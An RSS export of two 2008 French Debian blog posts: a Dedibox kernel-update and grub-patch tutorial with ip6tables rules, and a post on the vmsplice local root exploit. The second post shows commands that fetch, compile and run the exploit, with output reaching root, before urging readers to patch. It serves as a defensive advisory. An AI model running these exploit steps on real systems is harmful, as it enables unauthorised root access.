<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>Debian or not to be ? 2.0 &#187; vmsplice</title> <atom:link href="http://www.crashdump.fr/tag/vmsplice/feed/" rel="self" type="application/rss+xml" /><link>http://www.crashdump.fr</link> <description>that is the question</description> <lastBuildDate>Mon, 23 Jan 2012 13:14:39 +0000</lastBuildDate> <language>fr</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=</generator> <item><title>Mettre a jour une Debian Dedibox: Exploit root vmsplice</title><link>http://www.crashdump.fr/debian/mettre-a-jour-le-kernel-dun-debian-dedibox-exploit-root-vmsplice-69/</link> <comments>http://www.crashdump.fr/debian/mettre-a-jour-le-kernel-dun-debian-dedibox-exploit-root-vmsplice-69/#comments</comments> <pubDate>Thu, 14 Feb 2008 08:02:56 +0000</pubDate> <dc:creator>Crashdump</dc:creator> <category><![CDATA[Debian]]></category> <category><![CDATA[Sécurité]]></category> <category><![CDATA[dedibox]]></category> <category><![CDATA[faille]]></category> <category><![CDATA[ftp://ftp.dedibox.fr/pub/dedibox/fix/fix-grub-root.sh]]></category> <category><![CDATA[ftp://ftp.dedibox.fr/pub/dedibox/kernel/r8-1/C7-X86-32bits/kernel-image-2.6.24.2-c7-r8-1.deb]]></category> <category><![CDATA[kernel]]></category> <category><![CDATA[mise a jour]]></category> <category><![CDATA[noyau]]></category> <category><![CDATA[patch grub]]></category> <category><![CDATA[update]]></category> <category><![CDATA[upgrade]]></category> <category><![CDATA[vmsplice]]></category><guid isPermaLink="false">http://www.crashdump.fr/blog/index.php/2008/02/14/mettre-a-jour-le-kernel-dun-debian-dedibox-exploit-root-vmsplice/</guid> <description><![CDATA[http://www.securiteam.com/unixfocus/5JP0C0UNFU.html Un tutoriel de mise a jour du kernel par dedibox: http://documentation.dedibox.fr/doku.php?id=distrib:kernel&#038;s=noyau La faille a été corrigé par les équipes de sécurité de la plupart des distributions. Aussi peut être pensez vous comme moi qu’un simple (pour debian) 12# apt-get update # apt-get upgrade Pourrais vous mettre à l&#8217;abri… Malheureusement chez dédibox il est optimisé [...]]]></description> <content:encoded><![CDATA[<p><a rel="nofollow" href="http://www.securiteam.com/unixfocus/5JP0C0UNFU.html">http://www.securiteam.com/unixfocus/5JP0C0UNFU.html</a></p><p>Un tutoriel de mise a jour du kernel par dedibox: <a rel="nofollow" href="http://documentation.dedibox.fr/doku.php?id=distrib:kernel&#038;s=noyau">http://documentation.dedibox.fr/doku.php?id=distrib:kernel&#038;s=noyau</a></p><p>La faille a été corrigé par les équipes de sécurité de la plupart des distributions.<br /> Aussi peut être pensez vous comme moi qu’un simple (pour debian)</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># apt-get update<br /> # apt-get upgrade</div></td></tr></tbody></table></div><p>Pourrais vous mettre à l&#8217;abri… Malheureusement chez dédibox il est optimisé pour C7, donc spécifique. Pas de panique ça reste assez simple a corriger quand même.</p><ul>La manipulation pour corriger la faille est décrite ici:</ul><p>Je l’ai testé sur une testing:<br /> <span id="more-69"></span><br /> Si vous avez installé votre dédibox avant le 28 Mai 2006 (ou si vous possedez une version raid), cette partie ne vous concerne pas !<br /> Sinon, distributions Ubuntu-Server, Ubuntu Dedibox et Debian Sarge comportent un bug dans le comportement de grub-install. On va donc patcher grub.</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># wget --passive ftp://ftp.dedibox.fr/pub/dedibox/fix/fix-grub-root.sh &amp;&amp; chmod +x fix-grub-root.sh</div></td></tr></tbody></table></div><p>On cherche sur quelle partition est “/” (pour savoir sur quel disque on boot):</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">mount | grep &quot;/ &quot;</div></td></tr></tbody></table></div><p>Ce qui devrait vous retourner quelque chose du genre:</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">/dev/sda1 on / type ext3 (rw,errors=remount-ro)</div></td></tr></tbody></table></div><p>C’est ce sda1 qui nous intéresse.. c&#8217;est le disque sur lequel boot votre machine !</p><p>On va donc lancer le script téléchargé précédemment, avec comme paramètre sda1 (dans notre cas, sinon remplacez par la bonne valeur):</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># ./fix-grub-root.sh sda1</div></td></tr></tbody></table></div><p>Le script va modifier le fichier: /boot/grub/menu.lst pour y entrer les bonnes valeurs. Si un problème survient par la suite, le script créé une sauvegarde de ce fichier ici: /boot/grub/menu.lst.bak</p><ul>Mise a jour du Kernel</ul><p>On le télécharge:</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># wget --passive ftp://ftp.dedibox.fr/pub/dedibox/kernel/r8-1/C7-X86-32bits/kernel-image-2.6.24.2-c7-r8-1.deb</div></td></tr></tbody></table></div><p>Puis on l’installe :</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># dpkg -i kernel-image-2.6.24.2-c7-r8-1.deb</div></td></tr></tbody></table></div><p>On met a jour grub:</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># update-grub<br /> Searching for GRUB installation directory ... found: /boot/grub<br /> Searching for default file ... found: /boot/grub/default<br /> Testing for an existing GRUB menu.lst file ... found: /boot/grub/menu.lst<br /> Searching for splash image ... none found, skipping ...<br /> &lt;strong&gt;Found kernel: /vmlinuz-2.6.24.2&lt;/strong&gt;<br /> Found kernel: /vmlinuz-2.6.23.13dedibox-r8<br /> Updating /boot/grub/menu.lst ... done</div></td></tr></tbody></table></div><p>Tout va bien il a trouvé notre noyau.. donc on reboot:</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># reboot</div></td></tr></tbody></table></div><p>Prennez un café&#8230; puis on vérifie:</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"># uname -r<br /> 2.6.24.2dedibox-r8</div></td></tr></tbody></table></div><ul>Ipv6 Activé ?</ul><p>Il faut impérativement penser que l&#8217;IPV6 est activé et qu&#8217;il faut mettre les règles adoc pour filtrer un minimum.<br /> Personnellement, j e n&#8217;utilise pas &laquo;&nbsp;encore&nbsp;&raquo; ipv6 donc j&#8217;ai entré ces règles dans mon script iptables/ip6tables :</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">ip6tables -P INPUT DROP<br /> ip6tables -P OUTPUT DROP<br /> ip6tables -P FORWARD DROP<br /> echo &quot; Flushing rules (ip6)&quot;<br /> ip6tables --flush<br /> ip6tables --flush INPUT<br /> ip6tables --flush OUTPUT<br /> ip6tables --flush FORWARD<br /> ip6tables --flush -t mangle<br /> ip6tables --flush -t nat<br /> ip6tables --delete-chain</div></td></tr></tbody></table></div><p>C&#8217;est bon, je peut donc aller me recoucher, en paix. ;)</p> ]]></content:encoded> <wfw:commentRss>http://www.crashdump.fr/debian/mettre-a-jour-le-kernel-dun-debian-dedibox-exploit-root-vmsplice-69/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Vmsplice root exploit</title><link>http://www.crashdump.fr/securite/vmsplice-root-exploit-70/</link> <comments>http://www.crashdump.fr/securite/vmsplice-root-exploit-70/#comments</comments> <pubDate>Tue, 12 Feb 2008 08:40:28 +0000</pubDate> <dc:creator>Crashdump</dc:creator> <category><![CDATA[Sécurité]]></category> <category><![CDATA[bug]]></category> <category><![CDATA[By]]></category> <category><![CDATA[exploit]]></category> <category><![CDATA[faille]]></category> <category><![CDATA[root]]></category> <category><![CDATA[vmsplice]]></category><guid isPermaLink="false">http://blog.crashdump.fr/index.php/2008/02/12/vmsplice-root-exploit/</guid> <description><![CDATA[Depuis peu, une faille a été découverte dans l&#8217;appel du système vmsplice(), les noyaux Linux 2.6.17 à 2.6.24.1 sont touchés. Elle est plutôt critique puisqu&#8217;un simple utilisateur peut devenir root en l&#8217;exploitant. 12$ uname -smr Linux 2.6.23.16.. i686 Voici un exemple d&#8217;utilisation : 123456789101112131415161718192021$ cd /tmp $ wget http://www.crashdump.fr/~polux/rootexploit/rootexploit.c $ gcc -o rootexploit rootexploit.c $ [...]]]></description> <content:encoded><![CDATA[<p>Depuis peu, une faille a été découverte dans l&#8217;appel du système vmsplice(), les noyaux Linux 2.6.17 à 2.6.24.1 sont touchés. Elle est plutôt critique puisqu&#8217;un simple utilisateur peut devenir root en l&#8217;exploitant.</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ uname -smr<br /> Linux 2.6.23.16.. i686</div></td></tr></tbody></table></div><p>Voici un exemple d&#8217;utilisation :</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:450px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ cd /tmp<br /> $ wget http://www.crashdump.fr/~polux/rootexploit/rootexploit.c<br /> $ gcc -o rootexploit rootexploit.c<br /> $ ./rootexploit<br /> -----------------------------------<br /> Linux vmsplice Local Root Exploit<br /> By qaaz<br /> -----------------------------------<br /> [+] mmap: 0x0 .. 0x1000<br /> [+] page: 0x0<br /> [+] page: 0x20<br /> [+] mmap: 0x4000 .. 0x5000<br /> [+] page: 0x4000<br /> [+] page: 0x4020<br /> [+] mmap: 0x1000 .. 0x2000<br /> [+] page: 0x1000<br /> [+] mmap: 0xb7dee000 .. 0xb7e20000<br /> [+] root<br /> Exploit gone!<br /> # id -u<br /> 0</div></td></tr></tbody></table></div><p><span id="more-70"></span><br /> &#8230; voila qui est plutôt grave, mettez donc a jour vos kernel:</p><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ uname -smr<br /> Linux 2.6.24.2.. i686</div></td></tr></tbody></table></div><div class="codecolorer-container text default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">$ ./rootexploit<br /> -----------------------------------<br /> &nbsp;Linux vmsplice Local Root Exploit<br /> -----------------------------------<br /> [+] mmap: 0x0 .. 0x1000<br /> [+] page: 0x0<br /> [+] page: 0x20<br /> [+] mmap: 0x4000 .. 0x5000<br /> [+] page: 0x4000<br /> [+] page: 0x4020<br /> [+] mmap: 0x1000 .. 0x2000<br /> [+] page: 0x1000<br /> [+] mmap: 0xb7dfc000 .. 0xb7e2e000<br /> [-] vmsplice: Bad address<br /> $ id -u<br /> 1000</div></td></tr></tbody></table></div><p>De plus, on pourrais imaginer une utilisation de cet exploit via des scripts cgi, php,.. Mal programmé &#8211; En exploitant une faille include &#8211; Et la je vous laisse imaginer le drame !</p><p>Un petit conseil donc: Mettez votre système à jour régulièrement !</p> ]]></content:encoded> <wfw:commentRss>http://www.crashdump.fr/securite/vmsplice-root-exploit-70/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
<!-- Served from: www.crashdump.fr @ 2012-02-04 20:23:30 by W3 Total Cache -->
